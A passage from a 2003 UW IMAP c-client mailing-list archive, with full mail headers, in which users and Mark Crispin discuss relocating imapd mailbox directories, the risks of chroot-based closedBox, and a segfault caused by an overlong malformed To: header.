debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jul 2 07:06:14 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jul 2003 07:06:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62E6Evu023669 for ; Wed, 2 Jul 2003 07:06:14 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62E6Aof011219 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jul 2003 07:06:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h62E58DE030200; Wed, 2 Jul 2003 07:05:08 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62E3j2x043550 for ; Wed, 2 Jul 2003 07:03:45 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62E3i75020888 for ; Wed, 2 Jul 2003 07:03:44 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id HAA03909; Wed, 2 Jul 2003 07:03:41 -0700 (PDT) Message-Id: Date: Wed, 2 Jul 2003 07:03:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martynas Buozis Cc: c-client@u.washington.edu Subject: Re: imapd directories In-Reply-To: <3F02B23D.8020706@ti.com> References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='__USER_AGENT_PINE, __IN_REP_TO, __REFERENCES, MSG_ID_ADDED_BY_MTA_3, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_05_08' On Wed, 2 Jul 2003, Martynas Buozis wrote: > Thank you very much for your help. Alias imapd is still looking for IMAP > folders in home directory (/home/martynas) instead of special directory > (/data/mail/martynas) after I recompiled imapd with these changes. I can > see this with truss command. Are you certain that you used the correct imapd binary? It is very easy to become confused and inadvertantly run the old binary if you have two imapd binaries on the system -- it happens *very* frequently. Nothing uses the home directory after making that change except for looking up an MH format config file. > Is there anywhere documented what is black box ? You really do not want to use black box. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jul 2 08:02:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jul 2003 08:02:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62F2Vvu025335 for ; Wed, 2 Jul 2003 08:02:31 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62F2SL5003578 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jul 2003 08:02:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h62F1WEg029798; Wed, 2 Jul 2003 08:01:32 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62F0W2x055992 for ; Wed, 2 Jul 2003 08:00:32 -0700 Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62F0R3M017781 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 2 Jul 2003 08:00:29 -0700 Received: from dlep52.itg.ti.com ([157.170.134.103]) by jester.ti.com (8.12.9/8.12.9) with ESMTP id h62F0Jm1002863; Wed, 2 Jul 2003 10:00:20 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep52.itg.ti.com (8.12.9/8.12.9) with ESMTP id h62F0HTh012638; Wed, 2 Jul 2003 10:00:18 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h62F0HZt024057; Wed, 2 Jul 2003 17:00:17 +0200 (MEST) Message-Id: <3F02F381.8040109@ti.com> Date: Wed, 02 Jul 2003 17:00:17 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd directories References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> <3F02B23D.8020706@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark > Are you certain that you used the correct imapd binary? It is very easy > to become confused and inadvertantly run the old binary if you have two > imapd binaries on the system -- it happens *very* frequently. Yes, I am sure. After your mail I deleted ALL temporary files and directories I am using to compile imapd. Then I untared original distribution, applied changes you recommended, compiled whole package from 0, checked for running imapd programs, copied just compiled imapd to test directory and ensured, that empty in /etc/inetd.conf points to this imapd (an it is actually the only one on this development system - the one I am trying to compile), sent HUP signal to inetd. Result is same. Truss output shows, that imapd is looking for files and directories only in /home/martynas. Nothing like chdir or stat for any files/dirs in /data/mail/martynas. Actually "grep data truss_output" is empty. So now I am a little bit confused ... Sorry for this. Do you have any opinion about possibility to make imapd use closedBox feature and ensure, that chroot will be done to correct directory in pw_login procedure ? Are there any "bad" experiences with closedBox (user's inbox is in same /data/mail/ directory) ? Thank you again for your time and support. With best regards Martynas From pinedev@shivax2.cac.washington.edu Wed Jul 2 10:56:57 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jul 2003 10:56:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62Huvvu001617 for ; Wed, 2 Jul 2003 10:56:57 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62Hupof020179 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jul 2003 10:56:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h62HujOL083756; Wed, 2 Jul 2003 10:56:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62Hti2x029800 for ; Wed, 2 Jul 2003 10:55:44 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62Hthu4030627 for ; Wed, 2 Jul 2003 10:55:43 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id KAA04141; Wed, 2 Jul 2003 10:55:39 -0700 (PDT) Message-Id: Date: Wed, 2 Jul 2003 10:55:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martynas Buozis Cc: c-client@u.washington.edu Subject: Re: imapd directories In-Reply-To: <3F02F381.8040109@ti.com> References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='__USER_AGENT_PINE, __IN_REP_TO, __REFERENCES, MSG_ID_ADDED_BY_MTA_3, REFERENCES, IN_REP_TO, SPAM_PHRASE_00_01' You must have done something wrong, because everything uses the name returned from mymailboxdir(). The only way that a correctly modified imapd could have done that is if the client explicitly asked for /home/martynas. Run imapd from the shell, and give the command: x list "" % Do you see the files and directories in the home directory or in the /data/mail directory? You almost certainly do not want to use closedBox either. closedBox does not have anything to do with using an alternative directory, and there are specific security issues with using chroot() that only an expert should undertake. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jul 2 16:03:36 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jul 2003 16:03:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N3avu014662 for ; Wed, 2 Jul 2003 16:03:36 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N3WWO021755 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jul 2003 16:03:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h62N3ROL019272; Wed, 2 Jul 2003 16:03:28 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N1B2x025910 for ; Wed, 2 Jul 2003 16:01:12 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N19BJ012422 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Jul 2003 16:01:10 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N19o0029619 for ; Wed, 2 Jul 2003 16:01:09 -0700 Received: from localhost (postmast@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N18cf017882 for ; Wed, 2 Jul 2003 16:01:09 -0700 Message-Id: Date: Wed, 2 Jul 2003 16:01:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joerg.Dieter.Friedrich@uni-konstanz.de To: c-client@u.washington.edu Subject: Malformed To:-Header Problems MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-X-Sender: postmast@shiva1.cac.washington.edu X-Uwash-Spam: Gauge=XXIII, Probability=23%, Report='__USER_AGENT_PINE, NO_REAL_NAME, MSG_ID_ADDED_BY_MTA_3, SPAM_PHRASE_02_03, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-PMX-Version: 4.0.1.70432 Hi! We use horde/imp as webmail. One of our users received a message with a malformed To:-Header like this: ------ To: "someone@uni-konstanz.de,someother@uni-konstanz.de, lots-of-addresses@uni-konstanz.de,... ... ... ... ... ... ... ... hugo.habicht@uni-konstanz.de, last.address"@uni-konstanz.de> -- The result is that the mailbox-overview containing this message cannot displayed. And the apache process dies with a segmentation fault. I tracked down this problem to the ""-String which contained more than 1200 characters. Is this a known problem? --=20 J=F6rg Friedrich Wie man sein Kind nicht nennen sollte: Alma Nach From pinedev@shivax2.cac.washington.edu Wed Jul 2 16:06:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jul 2003 16:06:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N6svu014812 for ; Wed, 2 Jul 2003 16:06:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N6pof000663 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jul 2003 16:06:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h62N6kOL084328; Wed, 2 Jul 2003 16:06:46 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N692x019084 for ; Wed, 2 Jul 2003 16:06:09 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N67BJ014268 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Jul 2003 16:06:08 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N66in008322; Wed, 2 Jul 2003 16:06:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62N664A006532 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 2 Jul 2003 16:06:06 -0700 Message-Id: Date: Wed, 2 Jul 2003 16:06:06 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Joerg.Dieter.Friedrich@uni-konstanz.de Cc: c-client@u.washington.edu Subject: Re: Malformed To:-Header Problems In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-PMX-Version: 4.0.1.70432 X-PMX-Version: 4.0.1.70432 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='__USER_AGENT_PINE, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, SPAM_PHRASE_00_01' Where did you get the segfault? Was it in c-client, or was it in horde/imp? You should be able to use gdb to analyze the core dump and do an "info stack" command to get a stack trace. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jul 3 01:14:46 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jul 2003 01:14:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h638Ekvu029182 for ; Thu, 3 Jul 2003 01:14:46 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h638EhWO003112 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Jul 2003 01:14:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h638EcKH021994; Thu, 3 Jul 2003 01:14:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h638DM2x055884 for ; Thu, 3 Jul 2003 01:13:22 -0700 Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h638DJC1003850 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 3 Jul 2003 01:13:20 -0700 Received: from dlep51.itg.ti.com ([157.170.141.75]) by jester.ti.com (8.12.9/8.12.9) with ESMTP id h638DAm1014940; Thu, 3 Jul 2003 03:13:11 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep51.itg.ti.com (8.12.9/8.12.9) with ESMTP id h638D9BO010013; Thu, 3 Jul 2003 03:13:09 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h638D7Zt003337; Thu, 3 Jul 2003 10:13:08 +0200 (MEST) Message-Id: <3F03E593.4070406@ti.com> Date: Thu, 03 Jul 2003 10:13:07 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd directories References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> <3F02B23D.8020706@ti.com> <3F02F381.8040109@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-PMX-Version: 4.0.1.70432 X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='X_ACCEPT_LANG, __EVITE_CTYPE, __REFERENCES, REFERENCES, QUOTED_EMAIL_TEXT, LINES_OF_YELLING_2, LINES_OF_YELLING, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark > Run imapd from the shell, and give the command: > x list "" % {martynas@dev ~} /data/compile/imap-2002d/imapd/imapd * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] Pre-authenticated user martynas dev IMAP4rev1 2003.338 at Thu, 3 Jul 2003 10:03:55 +0200 (MEST) x list "" % * LIST (\NoInferiors) NIL INBOX x OK LIST completed > Do you see the files and directories in the home directory or in the > /data/mail directory? No. But I am sure there are IMAP folder files and directories in /data/mail/martynas. mymailboxdir procedure is exactly same as you used in your earlier letter. > You almost certainly do not want to use closedBox either. closedBox does > not have anything to do with using an alternative directory, and there are > specific security issues with using chroot() that only an expert should > undertake. Well, actually closed box is what I would like to use. There must be some recomendations how to use it if feature is available ? Thank you again for your help. With best regards Martynas From pinedev@shivax2.cac.washington.edu Thu Jul 3 09:21:04 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jul 2003 09:21:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h63GL3vu011706 for ; Thu, 3 Jul 2003 09:21:03 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h63GKxof026906 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Jul 2003 09:21:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h63GKnOL084392; Thu, 3 Jul 2003 09:20:50 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h63GJ32x046142 for ; Thu, 3 Jul 2003 09:19:03 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h63GJ1ZF011282 for ; Thu, 3 Jul 2003 09:19:02 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id JAA05749; Thu, 3 Jul 2003 09:18:56 -0700 (PDT) Message-Id: Date: Thu, 3 Jul 2003 09:18:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martynas Buozis Cc: c-client@u.washington.edu Subject: Re: imapd directories In-Reply-To: <3F03E593.4070406@ti.com> References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-PMX-Version: 4.0.1.70432 X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=III, Probability=3%, Report='__USER_AGENT_PINE, __IN_REP_TO, __REFERENCES, MSG_ID_ADDED_BY_MTA_3, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, LINES_OF_YELLING_2, SPAM_PHRASE_02_03, LINES_OF_YELLING' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Jul 2003, Martynas Buozis wrote: > {martynas@dev ~} /data/compile/imap-2002d/imapd/imapd > * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY > UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] > Pre-authenticated user martynas dev IMAP4rev1 2003.338 at Thu, 3 Jul > 2003 10:03:55 +0200 (MEST) > x list "" % > * LIST (\NoInferiors) NIL INBOX > x OK LIST completed Are there files and/or directories in *both* the home directory and the /data/mail directory? Are you certain that your userid has access to the /data/mail directory? Your sample shows it returning *nothing*, as if it is looking at a non-existant directory (INBOX always exist). > mymailboxdir procedure is exactly same as you used in your earlier letter. I just typed that in off the top of my head. I didn't try to test or debug it. You need to do that. Run gdb on imapd, and see what name mymailboxdir() actually builds and what kind of strings mailboxfile() puts together for path names. > > You almost certainly do not want to use closedBox either. closedBox does > > not have anything to do with using an alternative directory, and there are > > specific security issues with using chroot() that only an expert should > > undertake. > Well, actually closed box is what I would like to use. There must be > some recomendations how to use it if feature is available ? Start with reading many books about UNIX security and the risks of using chroot(). Do Google searchs about "chroot jail". While in Google, look for historical reports of how FTP servers (and other servers) that use chroot() have been cracked, and why many people consider chroot() to be intrinsically dangerous. [Hint: What is the meaning of a subdirectory called "etc" of a chroot() directory?] When you thoroughly understand all of this, then you may consider closed box. But even then I think that it's a bad idea. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jul 7 04:23:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jul 2003 04:23:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67BN6vu014599 for ; Mon, 7 Jul 2003 04:23:06 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67BN3WO015510 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Jul 2003 04:23:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h67BMtOL084414; Mon, 7 Jul 2003 04:22:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67BL22x007866 for ; Mon, 7 Jul 2003 04:21:02 -0700 Received: from dragon.ti.com (news.ti.com [192.94.94.33]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67BKwC1027015 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 7 Jul 2003 04:20:59 -0700 Received: from dlep52.itg.ti.com ([157.170.134.103]) by dragon.ti.com (8.12.9/8.12.9) with ESMTP id h67BKs1p004052; Mon, 7 Jul 2003 06:20:54 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep52.itg.ti.com (8.12.9/8.12.9) with ESMTP id h67BKqTh013676; Mon, 7 Jul 2003 06:20:53 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h67BKpZt000163; Mon, 7 Jul 2003 13:20:52 +0200 (MEST) Message-Id: <3F095793.5040504@ti.com> Date: Mon, 07 Jul 2003 13:20:51 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd directories References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='X_ACCEPT_LANG, __EVITE_CTYPE, __REFERENCES, REFERENCES, QUOTED_EMAIL_TEXT, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello > Are there files and/or directories in *both* the home directory and the > /data/mail directory? Files are in both directories (home and /data/mail). > Are you certain that your userid has access to the /data/mail directory? Yes, I am sure. > Your sample shows it returning *nothing*, as if it is looking at a > non-existant directory (INBOX always exist). That's a point. > I just typed that in off the top of my head. I didn't try to test or > debug it. You need to do that. Run gdb on imapd, and see what name > mymailboxdir() actually builds and what kind of strings mailboxfile() puts > together for path names. Well, sorry for misunderstanding - I thought it's a code already checked up in other environment. After examining other parts of code I decided to go for changing env_init procedure and ensure, that myHomeDir will be set up to point not to real home dir, but /data/mail/. Simply changed line myHomeDir = cpystr (home); /* set home directory */ to sprintf (tmp,"/data/mail/%s",user); myHomeDir = cpystr (tmp); Do you see any possible problems about this ? This looks more satisfying for me as I want all mail and imap related files (including configuration files) to be located in that specific directory, not in real home directory. I understand chroot problems quite well, but in that case what should I go for to ensure, that users will be able to see only files in /data/mail/ ? I found restrictBox value but after some sort of critics about blackBox and closedBox choices I am not sure if it can be what I would like to go for ?... Thank you again for you patience and kind help. With best regards Martynas Buozis From pinedev@shivax2.cac.washington.edu Mon Jul 7 05:38:43 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jul 2003 05:38:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67Cchvu016203 for ; Mon, 7 Jul 2003 05:38:43 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67Cceof028464 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Jul 2003 05:38:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h67CcXJ8101742; Mon, 7 Jul 2003 05:38:34 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67CbU2x033574 for ; Mon, 7 Jul 2003 05:37:30 -0700 Received: from 